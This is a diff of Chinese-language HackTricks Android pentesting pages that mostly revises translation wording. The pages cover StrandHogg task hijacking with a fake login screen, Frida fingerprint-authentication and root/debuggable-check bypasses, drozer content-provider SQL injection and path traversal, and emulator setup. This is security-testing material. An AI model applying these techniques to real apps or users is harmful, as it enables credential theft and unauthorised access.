在 Android 中,**任务** 本质上是一组用户交互以完成特定工作的活动,组织在 **后栈** 中。这个栈根据活动打开的时间对活动进行排序,最近的活动显示在顶部,称为 **前台活动**。在任何时刻,只有这个活动在屏幕上可见,使其成为 **前台任务** 的一部分。
|
||||
|
||||
以下是活动转换的快速概述:
|
||||
|
||||
- **活动 1** 开始时是前台的唯一活动。
|
||||
- **活动 1** 作为前台的唯一活动开始。
|
||||
- 启动 **活动 2** 将 **活动 1** 推入后栈,使 **活动 2** 进入前台。
|
||||
- 启动 **活动 3** 将 **活动 1** 和 **活动 2** 进一步推入栈中,**活动 3** 现在在前面。
|
||||
- 关闭 **活动 3** 将 **活动 2** 重新带回前台,展示了Android的简化任务导航机制。
|
||||
- 关闭 **活动 3** 将 **活动 2** 重新带回前台,展示了 Android 的简化任务导航机制。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -19,25 +19,25 @@
|
||||
|
||||
### 任务亲和力和启动模式概述
|
||||
|
||||
在Android应用中,**任务亲和力**指定活动的首选任务,通常与应用的包名对齐。这种设置对于制作一个概念验证(PoC)应用以演示攻击至关重要。
|
||||
在 Android 应用中,**任务亲和力** 指定活动的首选任务,通常与应用的包名对齐。这个设置在制作攻击的概念验证 (PoC) 应用时至关重要。
|
||||
|
||||
### 启动模式
|
||||
|
||||
`launchMode` 属性指导任务中活动实例的处理。**singleTask** 模式对于此攻击至关重要,根据现有活动实例和任务亲和力匹配情况规定三种场景。该漏洞依赖于攻击者的应用能够模仿目标应用的任务亲和力,误导Android系统启动攻击者的应用而不是预期的目标。
|
||||
`launchMode` 属性指导活动实例在任务中的处理。**singleTask** 模式对该攻击至关重要,根据现有活动实例和任务亲和力匹配情况,规定了三种场景。该漏洞依赖于攻击者的应用能够模仿目标应用的任务亲和力,误导 Android 系统启动攻击者的应用而不是预期的目标。
|
||||
|
||||
### 详细攻击步骤
|
||||
|
||||
1. **恶意应用安装**:受害者在其设备上安装攻击者的应用。
|
||||
2. **初始激活**:受害者首次打开恶意应用,为攻击做好准备。
|
||||
3. **目标应用启动尝试**:受害者尝试打开目标应用。
|
||||
4. **劫持执行**:由于任务亲和力匹配,恶意应用被启动以替代目标应用。
|
||||
5. **欺骗**:恶意应用展示一个假登录界面,类似于目标应用,诱使用户输入敏感信息。
|
||||
4. **劫持执行**:由于任务亲和力匹配,恶意应用被启动,取代目标应用。
|
||||
5. **欺骗**:恶意应用展示一个假登录界面,类似于目标应用,欺骗用户输入敏感信息。
|
||||
|
||||
有关此攻击的实际实施,请参考GitHub上的任务劫持Strandhogg存储库:[Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg)。
|
||||
有关此攻击的实际实施,请参考 GitHub 上的任务劫持 Strandhogg 存储库:[Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg)。
|
||||
|
||||
### 预防措施
|
||||
|
||||
为了防止此类攻击,开发者可以将 `taskAffinity` 设置为空字符串,并选择 `singleInstance` 启动模式,确保其应用与其他应用隔离。自定义 `onBackPressed()` 函数提供额外的保护,以防止任务劫持。
|
||||
为了防止此类攻击,开发者可以将 `taskAffinity` 设置为空字符串,并选择 `singleInstance` 启动模式,确保其应用与其他应用隔离。自定义 `onBackPressed()` 函数提供了额外的保护,以防止任务劫持。
|
||||
|
||||
## **参考文献**
|
||||
|
||||
|
||||
@ -57,6 +57,6 @@
|
||||
|
||||
### [frida-DEXdump](https://github.com/hluwa/frida-dexdump)
|
||||
|
||||
此工具可用于转储正在运行的 APK 在内存中的 DEX。这有助于击败在应用程序在内存中执行时被移除的静态混淆。
|
||||
此工具可用于转储运行中 APK 的 DEX 在内存中。这有助于击败在应用程序在内存中执行时被移除的静态混淆。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -11,16 +11,16 @@ Android Studio 允许 **运行 Android 的虚拟机,您可以用来测试 APK*
|
||||
- **Android SDK 工具** - [在这里下载](https://developer.android.com/studio/releases/sdk-tools)。
|
||||
- 或者 **Android Studio**(带有 Android SDK 工具) - [在这里下载](https://developer.android.com/studio)。
|
||||
|
||||
在 Windows(以我的情况为例)**安装 Android Studio 后**,我在以下位置安装了 **SDK 工具**:`C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
|
||||
在 Windows(以我的情况为例)**安装 Android Studio 后**,我在以下位置安装了 **SDK 工具**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
|
||||
|
||||
在 mac 上,您可以 **下载 SDK 工具** 并通过运行将其放入 PATH:
|
||||
```bash
|
||||
brew tap homebrew/cask
|
||||
brew install --cask android-sdk
|
||||
```
|
||||
或者从 **Android Studio GUI** 安装,如在 [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) 中所示,这将安装在 `~/Library/Android/sdk/cmdline-tools/latest/bin/` 和 `~/Library/Android/sdk/platform-tools/` 和 `~/Library/Android/sdk/emulator/`
|
||||
或者从 **Android Studio GUI** 安装,如在 [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) 中所示,这将把它们安装在 `~/Library/Android/sdk/cmdline-tools/latest/bin/` 和 `~/Library/Android/sdk/platform-tools/` 以及 `~/Library/Android/sdk/emulator/` 中。
|
||||
|
||||
关于 Java 问题:
|
||||
对于 Java 问题:
|
||||
```java
|
||||
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
|
||||
```
|
||||
@ -43,7 +43,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
|
||||
_**选择** 您想要使用的手机_ 并点击 _**下一步。**_
|
||||
|
||||
> [!WARNING]
|
||||
> 如果您需要安装了 Play 商店的手机,请选择带有 Play 商店图标的手机!
|
||||
> 如果您需要安装了 Play Store 的手机,请选择带有 Play Store 图标的手机!
|
||||
>
|
||||
> <img src="../../images/image (1144).png" alt="" data-size="original">
|
||||
|
||||
@ -64,7 +64,7 @@ _**选择** 您想要使用的手机_ 并点击 _**下一步。**_
|
||||
|
||||
## 命令行工具
|
||||
|
||||
首先,您需要 **决定您想使用哪个手机**,为了查看可能的手机列表,请执行:
|
||||
首先,您需要 **决定您想要使用哪个手机**,为了查看可能的手机列表,请执行:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
|
||||
|
||||
@ -101,7 +101,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
|
||||
```
|
||||
一旦您下载了想要使用的 Android 镜像,您可以使用以下命令**列出所有已下载的 Android 镜像**:
|
||||
一旦您下载了想要使用的 Android 镜像,您可以使用以下命令**列出所有下载的 Android 镜像**:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
|
||||
----------
|
||||
@ -121,7 +121,7 @@ Revision: 4
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
|
||||
```
|
||||
在最后一个命令中**我创建了一个名为** "_AVD9_" 的虚拟机,使用的**设备**是 "_Nexus 5X_" 和**Android镜像** "_system-images;android-28;google_apis;x86_64_"。\
|
||||
在最后一个命令中**我创建了一个名为** "_AVD9_" 的虚拟机,使用的**设备**是"_Nexus 5X_",**Android镜像**是"_system-images;android-28;google_apis;x86_64_"。\
|
||||
现在你可以使用以下命令**列出你创建的虚拟机**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
|
||||
@ -139,7 +139,7 @@ Error: Google pixel_2 no longer exists as a device
|
||||
```
|
||||
### 运行虚拟机
|
||||
|
||||
我们已经看到如何列出创建的虚拟机,但**您还可以使用以下方法列出它们**:
|
||||
我们已经看到如何列出创建的虚拟机,但 **您也可以使用以下方法列出它们**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
|
||||
AVD9
|
||||
@ -150,7 +150,7 @@ Pixel_2_API_27
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
|
||||
```
|
||||
或者使用更高级的选项,您可以运行一个虚拟机,例如:
|
||||
或者使用更高级的选项,您可以运行虚拟机,例如:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
@ -185,7 +185,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
||||
$ adb root
|
||||
adbd cannot run as root in production builds
|
||||
```
|
||||
使用 [rootAVD](https://github.com/newbit1/rootAVD) 和 [Magisk](https://github.com/topjohnwu/Magisk) 我成功地获取了根权限(例如可以参考 [**这个视频**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **或** [**这个视频**](https://www.youtube.com/watch?v=qQicUW0svB8))。
|
||||
使用 [rootAVD](https://github.com/newbit1/rootAVD) 和 [Magisk](https://github.com/topjohnwu/Magisk),我成功地对其进行了root(例如,可以参考 [**这个视频**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **或** [**这个视频**](https://www.youtube.com/watch?v=qQicUW0svB8))。
|
||||
|
||||
## 安装 Burp 证书
|
||||
|
||||
@ -195,7 +195,7 @@ adbd cannot run as root in production builds
|
||||
install-burp-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
## 好用的 AVD 选项
|
||||
## 友好的 AVD 选项
|
||||
|
||||
### 拍摄快照
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## **方法 1 – 无加密对象使用的绕过**
|
||||
|
||||
这里的重点是 _onAuthenticationSucceeded_ 回调,它在认证过程中至关重要。WithSecure 的研究人员开发了一个 [Frida 脚本](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js),使得可以绕过 _onAuthenticationSucceeded(...)_ 中的 NULL _CryptoObject_。该脚本在方法调用时强制自动绕过指纹认证。下面是一个简化的代码片段,演示了在 Android 指纹上下文中的绕过,完整应用程序可在 [GitHub](https://github.com/St3v3nsS/InsecureBanking) 上获取。
|
||||
这里的重点是 _onAuthenticationSucceeded_ 回调,它在认证过程中至关重要。WithSecure的研究人员开发了一个 [Frida 脚本](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js),使得可以绕过 _onAuthenticationSucceeded(...)_ 中的 NULL _CryptoObject_。该脚本在方法调用时强制自动绕过指纹认证。下面是一个简化的代码片段,演示了在 Android 指纹上下文中的绕过,完整应用程序可在 [GitHub](https://github.com/St3v3nsS/InsecureBanking) 上获取。
|
||||
```javascript
|
||||
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
|
||||
@Override
|
||||
|
||||
@ -1,7 +1,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**这是帖子 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) 的摘要**
|
||||
**这是关于帖子 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) 的摘要**
|
||||
|
||||
### 列出媒体存储中的文件
|
||||
|
||||
@ -33,7 +33,7 @@ content query --uri content://media/external/file \
|
||||
--projection _id,_data | grep test.txt
|
||||
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||||
```
|
||||
文件可以通过使用文件标识符构建的 URL 在 Chrome 中查看。
|
||||
该文件可以通过使用文件标识符构建的 URL 在 Chrome 中查看。
|
||||
|
||||
例如,要列出与特定应用程序相关的文件:
|
||||
```bash
|
||||
@ -41,9 +41,9 @@ content query --uri content://media/external/file --projection _id,_data | grep
|
||||
```
|
||||
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
||||
|
||||
_同源策略_ (SOP) 是浏览器中的一种安全协议,限制网页与不同来源的资源交互,除非通过跨源资源共享 (CORS) 策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome 将 `content://` 视为本地方案,这意味着更严格的 SOP 规则,其中每个本地方案 URL 被视为一个单独的来源。
|
||||
_同源策略_ (SOP) 是浏览器中的一种安全协议,限制网页与来自不同源的资源进行交互,除非通过跨源资源共享 (CORS) 策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome 将 `content://` 视为本地方案,这意味着更严格的 SOP 规则,其中每个本地方案 URL 被视为一个单独的源。
|
||||
|
||||
然而,CVE-2020-6516 是 Chrome 中的一个漏洞,允许通过 `content://` URL 绕过 SOP 规则。实际上,来自 `content://` URL 的 JavaScript 代码可以访问通过 `content://` URL 加载的其他资源,这在安全上是一个重大隐患,尤其是在运行 Android 10 之前版本的 Android 设备上,因为这些版本未实现范围存储。
|
||||
然而,CVE-2020-6516 是 Chrome 中的一个漏洞,允许通过 `content://` URL 绕过 SOP 规则。实际上,来自 `content://` URL 的 JavaScript 代码可以访问通过 `content://` URL 加载的其他资源,这在安全上是一个重大隐患,尤其是在运行早于 Android 10 版本的 Android 设备上,因为这些设备未实现范围存储。
|
||||
|
||||
下面的概念验证演示了此漏洞,其中一个 HTML 文档在 **/sdcard** 下上传并添加到媒体库中,使用其 JavaScript 中的 `XMLHttpRequest` 访问并显示媒体库中另一个文件的内容,绕过了 SOP 规则。
|
||||
|
||||
|
||||
@ -13,7 +13,7 @@
|
||||
|
||||
## 安装
|
||||
|
||||
在您的主机上安装 Drozer 客户端。可以从 [最新版本](https://github.com/mwrlabs/drozer/releases) 下载。
|
||||
在您的主机中安装 Drozer 客户端。可以从 [最新版本](https://github.com/mwrlabs/drozer/releases) 下载。
|
||||
```bash
|
||||
pip install drozer-2.4.4-py2-none-any.whl
|
||||
pip install twisted
|
||||
@ -29,7 +29,7 @@ Agent 正在 31415 端口运行,我们需要 [port forward](https://en.wikiped
|
||||
```bash
|
||||
adb forward tcp:31415 tcp:31415
|
||||
```
|
||||
最后,**启动** **应用程序**,并按下底部的 "**开启**"
|
||||
最后,**启动** **应用程序**,并按下底部的 "**开启**"
|
||||
|
||||
.png>)
|
||||
|
||||
@ -47,7 +47,7 @@ drozer console connect
|
||||
| **clean** | 删除 drozer 在 Android 设备上存储的临时文件。 |
|
||||
| **load** | 加载包含 drozer 命令的文件并按顺序执行它们。 |
|
||||
| **module** | 从互联网查找并安装额外的 drozer 模块。 |
|
||||
| **unset** | 删除 drozer 传递给其生成的任何 Linux shell 的命名变量。 |
|
||||
| **unset** | 删除 drozer 传递给任何它生成的 Linux shell 的命名变量。 |
|
||||
| **set** | 在变量中存储一个值,该值将作为环境变量传递给 drozer 生成的任何 Linux shell。 |
|
||||
| **shell** | 在设备上启动一个交互式 Linux shell,处于 Agent 的上下文中。 |
|
||||
| **run MODULE** | 执行一个 drozer 模块 |
|
||||
@ -96,7 +96,7 @@ Attack Surface:
|
||||
is debuggable
|
||||
```
|
||||
- **活动**: 也许你可以启动一个活动并绕过某种授权,这应该阻止你启动它。
|
||||
- **内容提供者**: 也许你可以访问私有数据或利用某个漏洞(SQL注入或路径遍历)。
|
||||
- **内容提供者**: 也许你可以访问私有数据或利用某些漏洞(SQL注入或路径遍历)。
|
||||
- **服务**:
|
||||
- **可调试**: [了解更多](./#is-debuggeable)
|
||||
|
||||
@ -117,14 +117,14 @@ com.mwr.example.sieve.PWList
|
||||
```
|
||||
**开始活动**:
|
||||
|
||||
也许您可以启动一个活动并绕过某种授权,这种授权应该阻止您启动它。
|
||||
也许你可以启动一个活动并绕过某种应该阻止你启动它的授权。
|
||||
```bash
|
||||
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
|
||||
```
|
||||
您还可以从 **adb** 启动导出的活动:
|
||||
您还可以通过 **adb** 启动导出的活动:
|
||||
|
||||
- PackageName 是 com.example.demo
|
||||
- Exported ActivityName 是 com.example.test.MainActivity
|
||||
- 包名是 com.example.demo
|
||||
- 导出活动名称是 com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
## 介绍
|
||||
|
||||
数据是通过一个称为 **content provider** 的组件在 **一个应用程序到其他应用程序** 之间按请求提供的。这些请求通过 **ContentResolver class** 方法进行管理。内容提供者可以将其数据存储在各种位置,例如 **数据库**、**文件** 或通过 **网络**。
|
||||
数据是通过一个称为 **content provider** 的组件根据请求从一个应用程序提供给其他应用程序的。这些请求通过 **ContentResolver class** 方法进行管理。内容提供者可以将其数据存储在各种位置,例如 **数据库**、**文件** 或通过 **网络**。
|
||||
|
||||
在 _Manifest.xml_ 文件中,需要声明内容提供者。例如:
|
||||
```xml
|
||||
@ -69,7 +69,7 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords/
|
||||
大多数内容提供者可能用作 **数据库** 的 **接口**。因此,如果您可以访问它,您将能够 **提取、更新、插入和删除** 信息。\
|
||||
检查您是否可以 **访问敏感信息** 或尝试更改它以 **绕过授权** 机制。
|
||||
|
||||
检查内容提供者的代码时,**还要查看** 名称类似于: _query, insert, update 和 delete_ 的 **函数**:
|
||||
在检查内容提供者的代码时 **还要查看** 名为: _query, insert, update 和 delete_ 的 **函数**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -99,7 +99,7 @@ _请注意,在插入和更新中,您可以使用 --string 来表示字符串
|
||||
|
||||
### 更新内容
|
||||
|
||||
知道列的名称后,您也可以**修改条目**:
|
||||
知道列的名称后,您还可以**修改条目**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -110,7 +110,7 @@ _请注意,在插入和更新中,您可以使用 --string 来表示字符串
|
||||
### **SQL 注入**
|
||||
|
||||
通过操纵传递给内容提供者的**投影**和**选择字段**,测试 SQL 注入 **(SQLite)** 是很简单的。\
|
||||
查询内容提供者时,有两个有趣的参数可以搜索信息:_--selection_ 和 _--projection_:
|
||||
在查询内容提供者时,有两个有趣的参数可以搜索信息:_--selection_ 和 _--projection_:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -162,7 +162,7 @@ dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc
|
||||
```
|
||||
### **路径遍历**
|
||||
|
||||
如果您可以访问文件,您可以尝试利用路径遍历(在这种情况下这不是必要的,但您可以尝试使用“_../_”和类似的技巧)。
|
||||
如果您可以访问文件,您可以尝试利用路径遍历(在这种情况下,这不是必需的,但您可以尝试使用“_../_”和类似的技巧)。
|
||||
```
|
||||
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
|
||||
127.0.0.1 localhost
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
# **绕过root和可调试检查**
|
||||
|
||||
本节内容是来自帖子 [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) 的总结。
|
||||
本节内容是来自帖子 [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) 的总结
|
||||
|
||||
## 使Android应用可调试并绕过检查的步骤
|
||||
|
||||
@ -15,21 +15,21 @@
|
||||
1. **反编译APK:**
|
||||
|
||||
- 使用APK-GUI工具反编译APK。
|
||||
- 在_android-manifest_文件中插入 `android:debuggable=true` 以启用调试模式。
|
||||
- 重新编译、签名并zipalign修改后的应用程序。
|
||||
- 在 _android-manifest_ 文件中插入 `android:debuggable=true` 以启用调试模式。
|
||||
- 重新编译、签名并进行zipalign处理。
|
||||
|
||||
2. **安装修改后的应用程序:**
|
||||
2. **安装修改后的应用:**
|
||||
|
||||
- 使用命令: `adb install <application_name>`。
|
||||
|
||||
3. **检索包名:**
|
||||
3. **获取包名:**
|
||||
|
||||
- 执行 `adb shell pm list packages –3` 列出第三方应用程序并找到包名。
|
||||
- 执行 `adb shell pm list packages –3` 列出第三方应用并找到包名。
|
||||
|
||||
4. **设置应用程序以等待调试器连接:**
|
||||
4. **设置应用以等待调试器连接:**
|
||||
|
||||
- 命令: `adb shell am setup-debug-app –w <package_name>`。
|
||||
- **注意:** 此命令必须在每次启动应用程序之前运行,以确保它等待调试器。
|
||||
- **注意:** 每次启动应用之前必须运行此命令以确保它等待调试器。
|
||||
- 为了持久性,使用 `adb shell am setup-debug-app –w -–persistent <package_name>`。
|
||||
- 要移除所有标志,使用 `adb shell am clear-debug-app <package_name>`。
|
||||
|
||||
@ -43,7 +43,7 @@
|
||||
|
||||
### **绕过检查**
|
||||
|
||||
应用程序在某些时刻会验证它是否可调试,并检查指示设备已root的二进制文件。可以使用调试器修改应用信息,取消设置可调试位,并更改搜索的二进制文件名称以绕过这些检查。
|
||||
应用程序在某些时刻会验证是否可调试,并检查指示设备已root的二进制文件。可以使用调试器修改应用信息,取消设置可调试位,并更改搜索的二进制文件名称以绕过这些检查。
|
||||
|
||||
对于可调试检查:
|
||||
|
||||
@ -53,7 +53,7 @@
|
||||
|
||||

|
||||
|
||||
这些步骤共同确保应用程序可以被调试,并且某些安全检查可以通过调试器绕过,从而便于对应用程序行为进行更深入的分析或修改。
|
||||
这些步骤共同确保应用程序可以被调试,并且可以使用调试器绕过某些安全检查,从而便于对应用程序行为进行更深入的分析或修改。
|
||||
|
||||
步骤2涉及将标志值更改为814267972,其二进制表示为110000101101000000100010100。
|
||||
|
||||
@ -64,8 +64,8 @@
|
||||
## **检查漏洞**
|
||||
|
||||
- 使用 `apktool` 反编译应用程序以访问 `AndroidManifest.xml` 文件。
|
||||
- `AndroidManifest.xml` 中存在 `android_debuggable="true"` 表示应用程序是可调试的,容易受到利用。
|
||||
- 值得注意的是,`apktool` 仅用于检查可调试状态,而不更改任何代码。
|
||||
- `AndroidManifest.xml` 中存在 `android_debuggable="true"` 表明该应用程序是可调试的,易受攻击。
|
||||
- 值得注意的是,`apktool` 仅用于检查可调试状态,而不修改任何代码。
|
||||
|
||||
## **准备设置**
|
||||
|
||||
@ -77,7 +77,7 @@
|
||||
|
||||
- 通过设置断点和控制应用程序流程进行利用。
|
||||
- 使用 `classes` 和 `methods <class_name>` 等命令来揭示应用程序的结构。
|
||||
- 在 `onClick` 方法中设置断点,并控制其执行。
|
||||
- 在 `onClick` 方法处设置断点,并控制其执行。
|
||||
- 使用 `locals`、`next` 和 `set` 命令检查和修改局部变量,特别是将“Try Again”消息更改为“Hacked”。
|
||||
- 使用 `run` 命令执行修改后的代码,成功实时更改应用程序的输出。
|
||||
|
||||
|
||||
@ -105,7 +105,7 @@ send("MainActivity.onCreate() HIT!!!")
|
||||
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
|
||||
}
|
||||
```
|
||||
钩住安卓 `.onCreate()`
|
||||
钩住 Android `.onCreate()`
|
||||
```javascript
|
||||
var activity = Java.use("android.app.Activity")
|
||||
activity.onCreate.overload("android.os.Bundle").implementation = function (
|
||||
|
||||
@ -31,9 +31,9 @@ python hooking.py <hookN.js>
|
||||
```bash
|
||||
frida -U --no-pause -l hookN.js -f infosecadventures.fridademo
|
||||
```
|
||||
## Hook 1 - Boolean Bypass
|
||||
## Hook 1 - 布尔绕过
|
||||
|
||||
在这里你可以看到如何**hook**一个**boolean**方法 (_checkPin_) 来自类: _infosecadventures.fridademo.utils.PinUtil_
|
||||
在这里你可以看到如何**hook**一个**布尔**方法 (_checkPin_) 来自类: _infosecadventures.fridademo.utils.PinUtil_
|
||||
```javascript
|
||||
//hook1.js
|
||||
Java.perform(function () {
|
||||
@ -49,13 +49,13 @@ return true
|
||||
```
|
||||
python hooking.py hook1.js
|
||||
```
|
||||
查看:该函数接收一个字符串作为参数,是否需要重载?
|
||||
查看:该函数接收一个字符串作为参数,不需要重载吗?
|
||||
|
||||
## Hook 2 - 函数暴力破解
|
||||
|
||||
### 非静态函数
|
||||
|
||||
如果您想调用一个类的非静态函数,您**首先需要一个该类的实例**。然后,您可以使用该实例来调用该函数。\
|
||||
如果您想调用类的非静态函数,您**首先需要一个该类的实例**。然后,您可以使用该实例来调用该函数。\
|
||||
为此,您可以**找到一个现有的实例**并使用它:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
@ -74,7 +74,7 @@ onComplete: function () {},
|
||||
})
|
||||
})
|
||||
```
|
||||
在这种情况下,这不起作用,因为没有任何实例,并且该函数是静态的。
|
||||
在这种情况下,这不起作用,因为没有任何实例,并且该函数是静态的
|
||||
|
||||
### 静态函数
|
||||
|
||||
@ -114,7 +114,7 @@ return encrypted_ret
|
||||
```
|
||||
## 重要
|
||||
|
||||
在本教程中,您使用方法名称和 _.implementation_ 钩住了方法。但是如果有 **多个同名方法**,您需要 **指定要钩住的方法** **并指明参数类型**。
|
||||
在本教程中,您使用方法名称和 _.implementation_ 钩住了方法。但是如果有 **多个同名方法**,您需要 **指定要钩住的方法**,**指明参数类型**。
|
||||
|
||||
您可以在 [下一个教程](frida-tutorial-2.md) 中看到这一点。
|
||||
|
||||
|
||||
@ -11,9 +11,9 @@
|
||||
|
||||
## 第 2 部分
|
||||
|
||||
在这里你可以看到一个如何 **hook 2 个同名但参数不同的函数** 的示例。\
|
||||
此外,你将学习如何 **使用自己的参数调用一个函数**。\
|
||||
最后,还有一个示例,展示如何 **找到一个类的实例并使其调用一个函数**。
|
||||
在这里,您可以看到如何 **hook 2 个同名但参数不同的函数** 的示例。\
|
||||
此外,您将学习如何 **使用自己的参数调用函数**。\
|
||||
最后,还有一个示例,展示如何 **找到类的实例并使其调用函数**。
|
||||
```javascript
|
||||
//s2.js
|
||||
console.log("Script loaded successfully ");
|
||||
@ -75,7 +75,7 @@ python loader.py
|
||||
|
||||
### Python
|
||||
|
||||
现在你将看到如何通过 Python 向被 Hook 的应用发送命令以调用函数:
|
||||
现在您将看到如何通过 Python 向被 Hook 的应用程序发送命令以调用函数:
|
||||
```python
|
||||
//loader.py
|
||||
import time
|
||||
@ -148,7 +148,7 @@ callsecretfunction: callSecretFun,
|
||||
hooksecretfunction: hookSecret,
|
||||
}
|
||||
```
|
||||
## Part 4
|
||||
## 第4部分
|
||||
|
||||
在这里,您将看到如何使用 JSON 对象使 **Python 和 JS 交互**。JS 使用 `send()` 函数将数据发送到 Python 客户端,而 Python 使用 `post()` 函数将数据发送到 JS 脚本。**JS 将阻止执行**,直到收到来自 Python 的响应。
|
||||
|
||||
@ -202,7 +202,6 @@ return this.setText(string_to_recv)
|
||||
}
|
||||
})
|
||||
```
|
||||
有一个第5部分,我不打算解释,因为没有任何新内容。但如果你想阅读,可以在这里找到:[https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
|
||||
|
||||
有一个第5部分,我不打算解释,因为没有新的内容。但如果你想阅读,可以在这里找到:[https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
|
||||
### 简介
|
||||
|
||||
**objection** 的 **目标** 是让用户调用 **Frida 提供的主要操作**。**否则**,用户需要为每个想要测试的应用程序创建 **单个脚本**。
|
||||
**objection** 的 **目标** 是让用户调用 **Frida 提供的主要操作**。**否则**,用户将需要为每个想要测试的应用程序创建 **单个脚本**。
|
||||
|
||||
## 教程
|
||||
|
||||
@ -84,9 +84,9 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
|
||||
```
|
||||
### 静态分析变为动态
|
||||
|
||||
在真实应用中,我们应该在使用 objection 之前了解这一部分发现的所有信息,这得益于 **静态分析**。无论如何,这种方式也许可以让你看到 **一些新东西**,因为在这里你只会得到一个完整的类、方法和导出对象的列表。
|
||||
在真实应用中,我们应该在使用 objection 之前了解这一部分发现的所有信息,这得益于 **静态分析**。无论如何,这种方式也许可以让你看到 **一些新东西**,因为在这里你将仅获得一个完整的类、方法和导出对象的列表。
|
||||
|
||||
如果你以某种方式 **无法获取应用的可读源代码**,这也是很有用的。
|
||||
如果你以某种方式 **无法获取应用的可读源代码**,这也是有用的。
|
||||
|
||||
#### 列出活动、接收器和服务
|
||||
```bash
|
||||
@ -141,15 +141,15 @@ android hooking list classes #List all loaded classes, As the target application
|
||||
|
||||
#### 挂钩(监视)一个方法
|
||||
|
||||
从[源代码](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)中我们知道**来自**_**MainActivity**_的**函数**_**sum()**_**每秒**运行一次。让我们尝试在每次调用该函数时**转储所有可能的信息**(参数、返回值和回溯):
|
||||
